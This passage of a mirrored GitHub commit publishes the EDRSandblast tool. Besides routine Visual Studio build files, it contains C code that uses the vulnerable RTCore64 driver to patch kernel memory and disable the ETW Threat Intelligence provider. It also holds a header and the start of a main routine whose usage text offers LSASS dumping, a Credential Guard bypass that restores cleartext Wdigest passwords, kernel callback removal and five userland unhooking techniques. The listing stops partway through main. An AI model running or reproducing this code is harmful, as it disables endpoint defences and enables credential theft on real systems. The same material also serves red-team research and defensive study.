mirror of
https://github.com/wavestone-cdt/EDRSandblast.git
synced 2026-06-13 18:53:34 +00:00
Initial commit for public version
Co-authored-by: Thomas Diot <thomas.diot@wavestone.com>
This commit is contained in:
+356
@@ -0,0 +1,356 @@
|
||||
## Ignore Visual Studio temporary files, build results, and
|
||||
## files generated by popular Visual Studio add-ons.
|
||||
##
|
||||
## Get latest from https://github.com/github/gitignore/blob/master/VisualStudio.gitignore
|
||||
|
||||
# User-specific files
|
||||
*.rsuser
|
||||
*.suo
|
||||
*.user
|
||||
*.userosscache
|
||||
*.sln.docstates
|
||||
|
||||
# User-specific files (MonoDevelop/Xamarin Studio)
|
||||
*.userprefs
|
||||
|
||||
# Mono auto generated files
|
||||
mono_crash.*
|
||||
|
||||
# Build results
|
||||
[Dd]ebug/
|
||||
[Dd]ebugPublic/
|
||||
[Rr]elease/
|
||||
[Rr]eleases/
|
||||
x64/
|
||||
x86/
|
||||
[Aa][Rr][Mm]/
|
||||
[Aa][Rr][Mm]64/
|
||||
bld/
|
||||
[Bb]in/
|
||||
[Oo]bj/
|
||||
[Ll]og/
|
||||
[Ll]ogs/
|
||||
|
||||
# Visual Studio 2015/2017 cache/options directory
|
||||
.vs/
|
||||
# Uncomment if you have tasks that create the project's static files in wwwroot
|
||||
#wwwroot/
|
||||
|
||||
# Visual Studio 2017 auto generated files
|
||||
Generated\ Files/
|
||||
|
||||
# MSTest test Results
|
||||
[Tt]est[Rr]esult*/
|
||||
[Bb]uild[Ll]og.*
|
||||
|
||||
# NUnit
|
||||
*.VisualState.xml
|
||||
TestResult.xml
|
||||
nunit-*.xml
|
||||
|
||||
# Build Results of an ATL Project
|
||||
[Dd]ebugPS/
|
||||
[Rr]eleasePS/
|
||||
dlldata.c
|
||||
|
||||
# Benchmark Results
|
||||
BenchmarkDotNet.Artifacts/
|
||||
|
||||
# .NET Core
|
||||
project.lock.json
|
||||
project.fragment.lock.json
|
||||
artifacts/
|
||||
|
||||
# StyleCop
|
||||
StyleCopReport.xml
|
||||
|
||||
# Files built by Visual Studio
|
||||
*_i.c
|
||||
*_p.c
|
||||
*_h.h
|
||||
*.ilk
|
||||
*.meta
|
||||
*.obj
|
||||
*.iobj
|
||||
*.pch
|
||||
*.pdb
|
||||
*.ipdb
|
||||
*.pgc
|
||||
*.pgd
|
||||
*.rsp
|
||||
*.sbr
|
||||
*.tlb
|
||||
*.tli
|
||||
*.tlh
|
||||
*.tmp
|
||||
*.tmp_proj
|
||||
*_wpftmp.csproj
|
||||
*.log
|
||||
*.vspscc
|
||||
*.vssscc
|
||||
.builds
|
||||
*.pidb
|
||||
*.svclog
|
||||
*.scc
|
||||
|
||||
# Chutzpah Test files
|
||||
_Chutzpah*
|
||||
|
||||
# Visual C++ cache files
|
||||
ipch/
|
||||
*.aps
|
||||
*.ncb
|
||||
*.opendb
|
||||
*.opensdf
|
||||
*.sdf
|
||||
*.cachefile
|
||||
*.VC.db
|
||||
*.VC.VC.opendb
|
||||
|
||||
# Visual Studio profiler
|
||||
*.psess
|
||||
*.vsp
|
||||
*.vspx
|
||||
*.sap
|
||||
|
||||
# Visual Studio Trace Files
|
||||
*.e2e
|
||||
|
||||
# TFS 2012 Local Workspace
|
||||
$tf/
|
||||
|
||||
# Guidance Automation Toolkit
|
||||
*.gpState
|
||||
|
||||
# ReSharper is a .NET coding add-in
|
||||
_ReSharper*/
|
||||
*.[Rr]e[Ss]harper
|
||||
*.DotSettings.user
|
||||
|
||||
# TeamCity is a build add-in
|
||||
_TeamCity*
|
||||
|
||||
# DotCover is a Code Coverage Tool
|
||||
*.dotCover
|
||||
|
||||
# AxoCover is a Code Coverage Tool
|
||||
.axoCover/*
|
||||
!.axoCover/settings.json
|
||||
|
||||
# Visual Studio code coverage results
|
||||
*.coverage
|
||||
*.coveragexml
|
||||
|
||||
# NCrunch
|
||||
_NCrunch_*
|
||||
.*crunch*.local.xml
|
||||
nCrunchTemp_*
|
||||
|
||||
# MightyMoose
|
||||
*.mm.*
|
||||
AutoTest.Net/
|
||||
|
||||
# Web workbench (sass)
|
||||
.sass-cache/
|
||||
|
||||
# Installshield output folder
|
||||
[Ee]xpress/
|
||||
|
||||
# DocProject is a documentation generator add-in
|
||||
DocProject/buildhelp/
|
||||
DocProject/Help/*.HxT
|
||||
DocProject/Help/*.HxC
|
||||
DocProject/Help/*.hhc
|
||||
DocProject/Help/*.hhk
|
||||
DocProject/Help/*.hhp
|
||||
DocProject/Help/Html2
|
||||
DocProject/Help/html
|
||||
|
||||
# Click-Once directory
|
||||
publish/
|
||||
|
||||
# Publish Web Output
|
||||
*.[Pp]ublish.xml
|
||||
*.azurePubxml
|
||||
# Note: Comment the next line if you want to checkin your web deploy settings,
|
||||
# but database connection strings (with potential passwords) will be unencrypted
|
||||
*.pubxml
|
||||
*.publishproj
|
||||
|
||||
# Microsoft Azure Web App publish settings. Comment the next line if you want to
|
||||
# checkin your Azure Web App publish settings, but sensitive information contained
|
||||
# in these scripts will be unencrypted
|
||||
PublishScripts/
|
||||
|
||||
# NuGet Packages
|
||||
*.nupkg
|
||||
# NuGet Symbol Packages
|
||||
*.snupkg
|
||||
# The packages folder can be ignored because of Package Restore
|
||||
**/[Pp]ackages/*
|
||||
# except build/, which is used as an MSBuild target.
|
||||
!**/[Pp]ackages/build/
|
||||
# Uncomment if necessary however generally it will be regenerated when needed
|
||||
#!**/[Pp]ackages/repositories.config
|
||||
# NuGet v3's project.json files produces more ignorable files
|
||||
*.nuget.props
|
||||
*.nuget.targets
|
||||
|
||||
# Microsoft Azure Build Output
|
||||
csx/
|
||||
*.build.csdef
|
||||
|
||||
# Microsoft Azure Emulator
|
||||
ecf/
|
||||
rcf/
|
||||
|
||||
# Windows Store app package directories and files
|
||||
AppPackages/
|
||||
BundleArtifacts/
|
||||
Package.StoreAssociation.xml
|
||||
_pkginfo.txt
|
||||
*.appx
|
||||
*.appxbundle
|
||||
*.appxupload
|
||||
|
||||
# Visual Studio cache files
|
||||
# files ending in .cache can be ignored
|
||||
*.[Cc]ache
|
||||
# but keep track of directories ending in .cache
|
||||
!?*.[Cc]ache/
|
||||
|
||||
# Others
|
||||
ClientBin/
|
||||
~$*
|
||||
*~
|
||||
*.dbmdl
|
||||
*.dbproj.schemaview
|
||||
*.jfm
|
||||
*.pfx
|
||||
*.publishsettings
|
||||
orleans.codegen.cs
|
||||
|
||||
# Including strong name files can present a security risk
|
||||
# (https://github.com/github/gitignore/pull/2483#issue-259490424)
|
||||
#*.snk
|
||||
|
||||
# Since there are multiple workflows, uncomment next line to ignore bower_components
|
||||
# (https://github.com/github/gitignore/pull/1529#issuecomment-104372622)
|
||||
#bower_components/
|
||||
|
||||
# RIA/Silverlight projects
|
||||
Generated_Code/
|
||||
|
||||
# Backup & report files from converting an old project file
|
||||
# to a newer Visual Studio version. Backup files are not needed,
|
||||
# because we have git ;-)
|
||||
_UpgradeReport_Files/
|
||||
Backup*/
|
||||
UpgradeLog*.XML
|
||||
UpgradeLog*.htm
|
||||
ServiceFabricBackup/
|
||||
*.rptproj.bak
|
||||
|
||||
# SQL Server files
|
||||
*.mdf
|
||||
*.ldf
|
||||
*.ndf
|
||||
|
||||
# Business Intelligence projects
|
||||
*.rdl.data
|
||||
*.bim.layout
|
||||
*.bim_*.settings
|
||||
*.rptproj.rsuser
|
||||
*- [Bb]ackup.rdl
|
||||
*- [Bb]ackup ([0-9]).rdl
|
||||
*- [Bb]ackup ([0-9][0-9]).rdl
|
||||
|
||||
# Microsoft Fakes
|
||||
FakesAssemblies/
|
||||
|
||||
# GhostDoc plugin setting file
|
||||
*.GhostDoc.xml
|
||||
|
||||
# Node.js Tools for Visual Studio
|
||||
.ntvs_analysis.dat
|
||||
node_modules/
|
||||
|
||||
# Visual Studio 6 build log
|
||||
*.plg
|
||||
|
||||
# Visual Studio 6 workspace options file
|
||||
*.opt
|
||||
|
||||
# Visual Studio 6 auto-generated workspace file (contains which files were open etc.)
|
||||
*.vbw
|
||||
|
||||
# Visual Studio LightSwitch build output
|
||||
**/*.HTMLClient/GeneratedArtifacts
|
||||
**/*.DesktopClient/GeneratedArtifacts
|
||||
**/*.DesktopClient/ModelManifest.xml
|
||||
**/*.Server/GeneratedArtifacts
|
||||
**/*.Server/ModelManifest.xml
|
||||
_Pvt_Extensions
|
||||
|
||||
# Paket dependency manager
|
||||
.paket/paket.exe
|
||||
paket-files/
|
||||
|
||||
# FAKE - F# Make
|
||||
.fake/
|
||||
|
||||
# CodeRush personal settings
|
||||
.cr/personal
|
||||
|
||||
# Python Tools for Visual Studio (PTVS)
|
||||
__pycache__/
|
||||
*.pyc
|
||||
|
||||
# Cake - Uncomment if you are using it
|
||||
# tools/**
|
||||
# !tools/packages.config
|
||||
|
||||
# Tabs Studio
|
||||
*.tss
|
||||
|
||||
# Telerik's JustMock configuration file
|
||||
*.jmconfig
|
||||
|
||||
# BizTalk build output
|
||||
*.btp.cs
|
||||
*.btm.cs
|
||||
*.odx.cs
|
||||
*.xsd.cs
|
||||
|
||||
# OpenCover UI analysis results
|
||||
OpenCover/
|
||||
|
||||
# Azure Stream Analytics local run output
|
||||
ASALocalRun/
|
||||
|
||||
# MSBuild Binary and Structured Log
|
||||
*.binlog
|
||||
|
||||
# NVidia Nsight GPU debugger configuration file
|
||||
*.nvuser
|
||||
|
||||
# MFractors (Xamarin productivity tool) working folder
|
||||
.mfractor/
|
||||
|
||||
# Local History for Visual Studio
|
||||
.localhistory/
|
||||
|
||||
# BeatPulse healthcheck temp database
|
||||
healthchecksdb
|
||||
|
||||
# Backup folder for Package Reference Convert tool in Visual Studio 2017
|
||||
MigrationBackup/
|
||||
|
||||
# Ionide (cross platform F# VS Code tools) working folder
|
||||
.ionide/
|
||||
|
||||
# Exclude downloaded kernels
|
||||
Offsets/*.exe
|
||||
Offsets/*.dll
|
||||
/Offsets/nt
|
||||
/Offsets/wd
|
||||
@@ -0,0 +1,31 @@
|
||||
|
||||
Microsoft Visual Studio Solution File, Format Version 12.00
|
||||
# Visual Studio Version 16
|
||||
VisualStudioVersion = 16.0.31129.286
|
||||
MinimumVisualStudioVersion = 10.0.40219.1
|
||||
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "EDRSandblast", "EDRSandblast\EDRSandblast.vcxproj", "{7E3E2ECE-D1EB-43C6-8C83-B52B7571954B}"
|
||||
EndProject
|
||||
Global
|
||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||
Debug|x64 = Debug|x64
|
||||
Debug|x86 = Debug|x86
|
||||
Release|x64 = Release|x64
|
||||
Release|x86 = Release|x86
|
||||
EndGlobalSection
|
||||
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||
{7E3E2ECE-D1EB-43C6-8C83-B52B7571954B}.Debug|x64.ActiveCfg = Debug|x64
|
||||
{7E3E2ECE-D1EB-43C6-8C83-B52B7571954B}.Debug|x64.Build.0 = Debug|x64
|
||||
{7E3E2ECE-D1EB-43C6-8C83-B52B7571954B}.Debug|x86.ActiveCfg = Debug|Win32
|
||||
{7E3E2ECE-D1EB-43C6-8C83-B52B7571954B}.Debug|x86.Build.0 = Debug|Win32
|
||||
{7E3E2ECE-D1EB-43C6-8C83-B52B7571954B}.Release|x64.ActiveCfg = Release|x64
|
||||
{7E3E2ECE-D1EB-43C6-8C83-B52B7571954B}.Release|x64.Build.0 = Release|x64
|
||||
{7E3E2ECE-D1EB-43C6-8C83-B52B7571954B}.Release|x86.ActiveCfg = Release|Win32
|
||||
{7E3E2ECE-D1EB-43C6-8C83-B52B7571954B}.Release|x86.Build.0 = Release|Win32
|
||||
EndGlobalSection
|
||||
GlobalSection(SolutionProperties) = preSolution
|
||||
HideSolutionNode = FALSE
|
||||
EndGlobalSection
|
||||
GlobalSection(ExtensibilityGlobals) = postSolution
|
||||
SolutionGuid = {01A85934-E9FB-4355-846F-667848B78EAF}
|
||||
EndGlobalSection
|
||||
EndGlobal
|
||||
@@ -0,0 +1,84 @@
|
||||
/*
|
||||
|
||||
--- ETW Threat Intelligence operations.
|
||||
--- Inspiration and credit: https://public.cnotools.studio/bring-your-own-vulnerable-kernel-driver-byovkd/exploits/data-only-attack-neutralizing-etwti-provider
|
||||
|
||||
*/
|
||||
|
||||
#include "ETWThreatIntel.h"
|
||||
|
||||
DWORD64 GetEtwThreatIntProvRegHandleAddress() {
|
||||
if (ntoskrnlOffsets.st.etwThreatIntProvRegHandle == 0x0) {
|
||||
return 0x0;
|
||||
}
|
||||
|
||||
DWORD64 Ntoskrnlbaseaddress = FindNtoskrnlBaseAddress();
|
||||
return Ntoskrnlbaseaddress + ntoskrnlOffsets.st.etwThreatIntProvRegHandle;
|
||||
}
|
||||
|
||||
DWORD64 GetEtwThreatInt_ProviderEnableInfoAddress(BOOL verbose) {
|
||||
if (ntoskrnlOffsets.st.etwThreatIntProvRegHandle == 0x0 || ntoskrnlOffsets.st.etwRegEntry_GuidEntry == 0x0 || ntoskrnlOffsets.st.etwGuidEntry_ProviderEnableInfo == 0x0) {
|
||||
_tprintf(TEXT("[!] ETW Threat Intel ProviderEnableInfo address could not be found. This version of ntoskrnl may not implement ETW Threat Intel.\n"));
|
||||
return 0x0;
|
||||
}
|
||||
|
||||
HANDLE Device = GetDriverHandle();
|
||||
DWORD64 etwThreatIntProvRegHandleAddress = GetEtwThreatIntProvRegHandleAddress();
|
||||
|
||||
DWORD64 etwThreatInt_ETW_REG_ENTRYAddress = ReadMemoryDWORD64(Device, etwThreatIntProvRegHandleAddress);
|
||||
if (verbose) {
|
||||
_tprintf(TEXT("[+] Found ETW Threat Intel provider _ETW_REG_ENTRY at 0x%I64x\n"), etwThreatInt_ETW_REG_ENTRYAddress);
|
||||
}
|
||||
DWORD64 etwThreatInt_ETW_GUID_ENTRYAddress = ReadMemoryDWORD64(Device, etwThreatInt_ETW_REG_ENTRYAddress + ntoskrnlOffsets.st.etwRegEntry_GuidEntry);
|
||||
|
||||
CloseHandle(Device);
|
||||
|
||||
return etwThreatInt_ETW_GUID_ENTRYAddress + ntoskrnlOffsets.st.etwGuidEntry_ProviderEnableInfo;
|
||||
}
|
||||
|
||||
void EnableDisableETWThreatIntelProvider(BOOL verbose, BOOL enable) {
|
||||
DWORD64 etwThreatInt_ProviderEnableInfoAddress = GetEtwThreatInt_ProviderEnableInfoAddress(verbose);
|
||||
if (etwThreatInt_ProviderEnableInfoAddress == 0x0) {
|
||||
return;
|
||||
}
|
||||
|
||||
_tprintf(TEXT("[*] Attempting to %s the ETW Threat Intel provider by patching ProviderEnableInfo at 0x%I64x with 0x%02X.\n"),
|
||||
enable ? TEXT("(re)enable") : TEXT("disable"), etwThreatInt_ProviderEnableInfoAddress, enable ? ENABLE_PROVIDER : DISABLE_PROVIDER);
|
||||
HANDLE Device = GetDriverHandle();
|
||||
WriteMemoryBYTE(Device, etwThreatInt_ProviderEnableInfoAddress, enable ? ENABLE_PROVIDER : DISABLE_PROVIDER);
|
||||
|
||||
BOOL finalState = isETWThreatIntelProviderEnabled(verbose);
|
||||
if (finalState == enable) {
|
||||
_tprintf(TEXT("[+] The ETW Threat Intel provider was successfully %s!\n"), enable ? TEXT("enabled") : TEXT("disabled"));
|
||||
}
|
||||
else {
|
||||
_tprintf(TEXT("[!] Failed to %s the ETW Threat Intel provider!\n"), enable ? TEXT("enable") : TEXT("disable"));
|
||||
}
|
||||
|
||||
CloseHandle(Device);
|
||||
}
|
||||
|
||||
|
||||
void DisableETWThreatIntelProvider(BOOL verbose) {
|
||||
EnableDisableETWThreatIntelProvider(verbose, FALSE);
|
||||
}
|
||||
|
||||
|
||||
void EnableETWThreatIntelProvider(BOOL verbose) {
|
||||
EnableDisableETWThreatIntelProvider(verbose, TRUE);
|
||||
}
|
||||
|
||||
|
||||
BOOL isETWThreatIntelProviderEnabled(BOOL verbose) {
|
||||
DWORD64 etwThreatInt_ProviderEnableInfoAddress = GetEtwThreatInt_ProviderEnableInfoAddress(verbose);
|
||||
|
||||
if (etwThreatInt_ProviderEnableInfoAddress == 0x0) {
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
HANDLE Device = GetDriverHandle();
|
||||
BYTE etwThreatInt_ProviderEnableInfoValue = ReadMemoryBYTE(Device, etwThreatInt_ProviderEnableInfoAddress);
|
||||
CloseHandle(Device);
|
||||
|
||||
return etwThreatInt_ProviderEnableInfoValue == ENABLE_PROVIDER;
|
||||
}
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,34 @@
|
||||
#pragma once
|
||||
|
||||
#include <Windows.h>
|
||||
#include <aclapi.h>
|
||||
#include <stdio.h>
|
||||
#include <Dbghelp.h>
|
||||
#include <stdlib.h>
|
||||
#include <Psapi.h>
|
||||
#include <Tchar.h>
|
||||
#include <tlhelp32.h>
|
||||
#include <malloc.h>
|
||||
#include <assert.h>
|
||||
|
||||
#include "CredGuard.h"
|
||||
#include "DriverOps.h"
|
||||
#include "ETWThreatIntel.h"
|
||||
#include "FileVersion.h"
|
||||
#include "KernelCallbacks.h"
|
||||
#include "KernelMemoryPrimitives.h"
|
||||
#include "KernelPatternSearch.h"
|
||||
#include "LSASSDump.h"
|
||||
#include "NtoskrnlOffsets.h"
|
||||
#include "RunAsPPL.h"
|
||||
#include "WdigestOffsets.h"
|
||||
#include "UserlandHooks.h"
|
||||
|
||||
#define SERVICE_NAME_LENGTH 8
|
||||
|
||||
typedef enum _START_MODE {
|
||||
dump,
|
||||
cmd,
|
||||
credguard,
|
||||
audit
|
||||
} START_MODE;
|
||||
@@ -0,0 +1,515 @@
|
||||
#include "EDRSandBlast.h"
|
||||
|
||||
/*
|
||||
|
||||
--- Execution entry point.
|
||||
|
||||
*/
|
||||
|
||||
static TCHAR* randString(TCHAR* str, size_t size)
|
||||
{
|
||||
const char charset[] = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ123456789";
|
||||
if (size) {
|
||||
--size;
|
||||
for (size_t n = 0; n < size; n++) {
|
||||
int key = rand() % (int)(sizeof charset - 1);
|
||||
str[n] = charset[key];
|
||||
}
|
||||
str[size] = '\0';
|
||||
}
|
||||
return str;
|
||||
}
|
||||
|
||||
const TCHAR *gVulnDriverServiceName = TEXT("RTCore64");
|
||||
|
||||
// TCHAR* gVulnDriverServiceName;
|
||||
|
||||
int _tmain(int argc, TCHAR** argv) {
|
||||
// Parse command line arguments and initialize variables to default values if needed.
|
||||
const TCHAR usage[] = TEXT("Usage: EDRSandblast.exe [-h | --help] [-v | --verbose] <audit | dump | cmd | credguard> [--usermode [--unhook-method <N>]] [--kernelmode] [--dont-unload-driver] [--dont-restore-callbacks] [--driver <RTCore64.sys>] [--nt-offsets <NtoskrnlOffsets.csv>] [--wdigest-offsets <WdigestOffsets.csv>] [-o | --dump-output <DUMP_FILE>]");
|
||||
const TCHAR extendedUsage[] = TEXT("\n\
|
||||
-h | --help Show this help message and exit.\n\
|
||||
-v | --verbose Enable a more verbose output.\n\
|
||||
\n\
|
||||
Actions mode:\n\
|
||||
\n\
|
||||
\taudit Display the user-land hooks and / or Kernel callbacks with out taking actions.\n\
|
||||
\tdump Dump the LSASS process, by default as 'lsass' in the current directory or at the\n\
|
||||
\t specified file using -o | --output <DUMP_FILE>.\n\
|
||||
\tcmd Open a cmd.exe prompt.\n\
|
||||
\tcredguard Patch the LSASS process' memory to enable Wdigest cleartext passwords caching even if\n\
|
||||
\t Credential Guard is enabled on the host. No kernel-lank actions required.\n\
|
||||
\n\
|
||||
--usermode Perform user-land operations (DLL unhooking).\n\
|
||||
--kernelmode Perform kernel-land operations (Kernel callbacks removal and ETW TI disabling).\n\
|
||||
\n\
|
||||
--unhook-method <N>\n Choose the userland un-hooking technique, from the following: \n\
|
||||
\n\
|
||||
\t1 (Default) Uses the (probably monitored) NtProtectVirtualMemory function in ntdll to remove all\n\
|
||||
\t present userland hooks.\n\
|
||||
\t2 Constructs a 'unhooked' (i.e. unmonitored) version of NtProtectVirtualMemory, by\n\
|
||||
\t allocating an executable trampoline jumping over the hook, and remove all present\n\
|
||||
\t userland hooks.\n\
|
||||
\t3 Searches for an existing trampoline allocated by the EDR itself, to get an 'unhooked'\n\
|
||||
\t (i.e. unmonitored) version of NtProtectVirtualMemory, and remove all present userland\n\
|
||||
\t hooks.\n\
|
||||
\t4 Loads an additional version of ntdll library into memory, and use the (hopefully\n\
|
||||
\t unmonitored) version of NtProtectVirtualMemory present in this library to remove all\n\
|
||||
\t present userland hooks.\n\
|
||||
\t5 Allocates a shellcode that uses a direct syscall to call NtProtectVirtualMemory,\n\
|
||||
\t and uses it to remove all detected hooks\n\
|
||||
\n\
|
||||
Other options:\n\
|
||||
\n\
|
||||
--dont-unload-driver Keep the Micro-Star MSI Afterburner vulnerable driver installed on the host\n\
|
||||
Default to automatically unsinstall the driver.\n\
|
||||
--dont-restore-callbacks Do not restore the EDR drivers' Kernel Callbacks that were removed.\n\
|
||||
Default to restore the callbacks.\n\
|
||||
\n\
|
||||
--driver <RTCore64.sys> Path to the Micro-Star MSI Afterburner vulnerable driver file.\n\
|
||||
Default to 'RTCore64.sys' in the current directory.\n\
|
||||
\n\
|
||||
--nt-offsets <NtoskrnlOffsets.csv> Path to the CSV file containing the required ntoskrnl.exe's offsets.\n\
|
||||
Default to 'NtoskrnlOffsets.csv' in the current directory.\n\
|
||||
--wdigest-offsets <WdigestOffsets.csv> Path to the CSV file containing the required wdigest.dll's offsets\n\
|
||||
(only for the 'credguard' mode).\n\
|
||||
Default to 'WdigestOffsets.csv' in the current directory.\n\
|
||||
\n\
|
||||
-o | --output <DUMP_FILE> Output path to the dump file that will be generated by the 'dump' mode.\n\
|
||||
Default to 'lsass' in the current directory.\n");
|
||||
BOOL status;
|
||||
TCHAR currentFolderPath[MAX_PATH] = { 0 };
|
||||
GetCurrentDirectory(_countof(currentFolderPath), currentFolderPath);
|
||||
|
||||
if (argc < 2) {
|
||||
_tprintf(TEXT("%s"), usage);
|
||||
return EXIT_FAILURE;
|
||||
}
|
||||
|
||||
START_MODE startMode;
|
||||
if (_tcsicmp(argv[1], TEXT("dump")) == 0) { startMode = dump; }
|
||||
else if (_tcsicmp(argv[1], TEXT("cmd")) == 0) { startMode = cmd; }
|
||||
else if (_tcsicmp(argv[1], TEXT("credguard")) == 0) { startMode = credguard; }
|
||||
else if (_tcsicmp(argv[1], TEXT("audit")) == 0) { startMode = audit; }
|
||||
else if (_tcsicmp(argv[1], TEXT("-h")) == 0 || _tcsicmp(argv[1], TEXT("--help")) == 0) {
|
||||
_tprintf(TEXT("%s\n"), usage);
|
||||
_tprintf(TEXT("%s\n"), extendedUsage);
|
||||
return EXIT_SUCCESS;
|
||||
}
|
||||
else {
|
||||
_tprintf(TEXT("%s"), usage);
|
||||
return EXIT_FAILURE;
|
||||
}
|
||||
|
||||
TCHAR driverPath[MAX_PATH * 2] = { 0 };
|
||||
TCHAR driverDefaultName[] = TEXT("RTCore64.sys");
|
||||
TCHAR ntoskrnlOffsetCSVPath[MAX_PATH * 2] = { 0 };
|
||||
TCHAR wdigestOffsetCSVPath[MAX_PATH * 2] = { 0 };
|
||||
TCHAR outputPath[MAX_PATH * 2] = { 0 };
|
||||
BOOL verbose = FALSE;
|
||||
BOOL removeVulnDriver = TRUE;
|
||||
BOOL restoreCallbacks = TRUE;
|
||||
BOOL userMode = FALSE;
|
||||
enum unhook_method_e unhook_method = UNHOOK_WITH_NTPROTECTVIRTUALMEMORY;
|
||||
BOOL kernelMode = FALSE;
|
||||
int lpExitCode = EXIT_SUCCESS;
|
||||
struct FOUND_EDR_CALLBACKS* checkEDRDrivers = NULL;
|
||||
struct FOUND_EDR_CALLBACKS* removedEDRDrivers = NULL;
|
||||
BOOL ETWTIState = FALSE;
|
||||
hook* hooks = NULL;
|
||||
|
||||
/*
|
||||
gVulnDriverServiceName = calloc(SERVICE_NAME_LENGTH, sizeof(TCHAR));
|
||||
randString(gVulnDriverServiceName, SERVICE_NAME_LENGTH);
|
||||
*/
|
||||
|
||||
for (int i = 2; i < argc; i++) {
|
||||
if (_tcsicmp(argv[i], TEXT("-h")) == 0 || _tcsicmp(argv[i], TEXT("--help")) == 0) {
|
||||
_tprintf(TEXT("%s\n"), usage);
|
||||
_tprintf(TEXT("%s\n"), extendedUsage);
|
||||
return EXIT_SUCCESS;
|
||||
}
|
||||
else if (_tcsicmp(argv[i], TEXT("-v")) == 0 || _tcsicmp(argv[i], TEXT("--verbose")) == 0) {
|
||||
verbose = TRUE;
|
||||
}
|
||||
else if (_tcsicmp(argv[i], TEXT("--usermode")) == 0) {
|
||||
userMode = TRUE;
|
||||
}
|
||||
else if (_tcsicmp(argv[i], TEXT("--kernelmode")) == 0) {
|
||||
kernelMode = TRUE;
|
||||
}
|
||||
else if (_tcsicmp(argv[i], TEXT("--dont-unload-driver")) == 0) {
|
||||
removeVulnDriver = FALSE;
|
||||
}
|
||||
else if (_tcsicmp(argv[i], TEXT("--dont-restore-callbacks")) == 0) {
|
||||
restoreCallbacks = FALSE;
|
||||
}
|
||||
else if (_tcsicmp(argv[i], TEXT("--driver")) == 0) {
|
||||
i++;
|
||||
if (i > argc) {
|
||||
_tprintf(TEXT("%s"), usage);
|
||||
return EXIT_FAILURE;
|
||||
}
|
||||
_tcsncpy_s(driverPath, _countof(driverPath), argv[i], _tcslen(argv[i]));
|
||||
}
|
||||
else if (_tcsicmp(argv[i], TEXT("--nt-offsets")) == 0) {
|
||||
i++;
|
||||
if (i > argc) {
|
||||
_tprintf(TEXT("%s"), usage);
|
||||
return EXIT_FAILURE;
|
||||
}
|
||||
_tcsncpy_s(ntoskrnlOffsetCSVPath, _countof(ntoskrnlOffsetCSVPath), argv[i], _tcslen(argv[i]));
|
||||
}
|
||||
else if (_tcsicmp(argv[i], TEXT("--wdigest-offsets")) == 0) {
|
||||
i++;
|
||||
if (i > argc) {
|
||||
_tprintf(TEXT("%s"), usage);
|
||||
return EXIT_FAILURE;
|
||||
}
|
||||
_tcsncpy_s(wdigestOffsetCSVPath, _countof(wdigestOffsetCSVPath), argv[i], _tcslen(argv[i]));
|
||||
}
|
||||
else if (_tcsicmp(argv[i], TEXT("-o")) == 0 || _tcsicmp(argv[i], TEXT("--dump-output")) == 0) {
|
||||
i++;
|
||||
if (i > argc) {
|
||||
_tprintf(TEXT("%s"), usage);
|
||||
return EXIT_FAILURE;
|
||||
}
|
||||
_tcsncpy_s(outputPath, _countof(outputPath), argv[i], _tcslen(argv[i]));
|
||||
}
|
||||
else if (_tcsicmp(argv[i], TEXT("--unhook-method")) == 0) {
|
||||
i++;
|
||||
if (i > argc) {
|
||||
_tprintf(TEXT("%s"), usage);
|
||||
return EXIT_FAILURE;
|
||||
}
|
||||
unhook_method = _ttoi(argv[i]);
|
||||
}
|
||||
else {
|
||||
_tprintf(TEXT("%s"), usage);
|
||||
return 1;
|
||||
}
|
||||
}
|
||||
|
||||
// Command line option consistency checks
|
||||
if (startMode == cmd && !kernelMode) {
|
||||
_tprintf(TEXT("'cmd' mode needs kernel-land unhooking to work, please enable --kernelmode\n"));
|
||||
return EXIT_FAILURE;
|
||||
}
|
||||
if (!userMode && !kernelMode) {
|
||||
_tprintf(TEXT("[!] You did not provide at least one option between --usermode and --kernelmode. Enabling --usermode by default...\n"));
|
||||
userMode = TRUE;
|
||||
}
|
||||
if (startMode == credguard && !kernelMode) {
|
||||
_tprintf(TEXT("[!] Credential Guard bypass might fail if RunAsPPL is enabled. Enable --kernelmode to bypass PPL\n"));
|
||||
}
|
||||
if (startMode == dump && !kernelMode) {
|
||||
_tprintf(TEXT("[!] LSASS dump might fail if RunAsPPL is enabled. Enable --kernelmode to bypass PPL\n"));
|
||||
}
|
||||
|
||||
BOOL isSafeToExecutePayload = TRUE;
|
||||
|
||||
if (kernelMode) {
|
||||
if (_tcslen(driverPath) == 0) {
|
||||
TCHAR separator[] = TEXT("\\");
|
||||
_tcsncat_s(driverPath, _countof(driverPath), currentFolderPath, _countof(currentFolderPath));
|
||||
_tcsncat_s(driverPath, _countof(driverPath), separator, _countof(separator));
|
||||
_tcsncat_s(driverPath, _countof(driverPath), driverDefaultName, _countof(driverDefaultName));
|
||||
}
|
||||
DWORD driverAttrib = GetFileAttributes(driverPath);
|
||||
if (driverAttrib == INVALID_FILE_ATTRIBUTES || (driverAttrib & FILE_ATTRIBUTE_DIRECTORY)) {
|
||||
_tprintf(TEXT("[!] Required driver file not present at %s\nExiting...\n"), driverPath);
|
||||
return EXIT_FAILURE;
|
||||
}
|
||||
|
||||
if (_tcslen(ntoskrnlOffsetCSVPath) == 0) {
|
||||
TCHAR offsetCSVName[] = TEXT("\\NtoskrnlOffsets.csv");
|
||||
_tcsncat_s(ntoskrnlOffsetCSVPath, _countof(ntoskrnlOffsetCSVPath), currentFolderPath, _countof(currentFolderPath));
|
||||
_tcsncat_s(ntoskrnlOffsetCSVPath, _countof(ntoskrnlOffsetCSVPath), offsetCSVName, _countof(offsetCSVName));
|
||||
}
|
||||
|
||||
// Initialize the global variable containing ntoskrnl.exe Notify Routines', _PS_PROTECTION and ETW TI functions offsets.
|
||||
_tprintf(TEXT("Loading Notify Routines' offsets from the CSV file\n"));
|
||||
ntoskrnlOffsets = GetNtoskrnlVersionOffsets(ntoskrnlOffsetCSVPath);
|
||||
if (ntoskrnlOffsets.st.pspCreateProcessNotifyRoutine == 0x0 || ntoskrnlOffsets.st.pspCreateThreadNotifyRoutine == 0x0 || ntoskrnlOffsets.st.pspLoadImageNotifyRoutine == 0x0) {
|
||||
_tprintf(TEXT("[!] No known offsets for the version of ntoskrnl in use. The offsets must be computed and added to the offsets CSV file\n"));
|
||||
return EXIT_FAILURE;
|
||||
}
|
||||
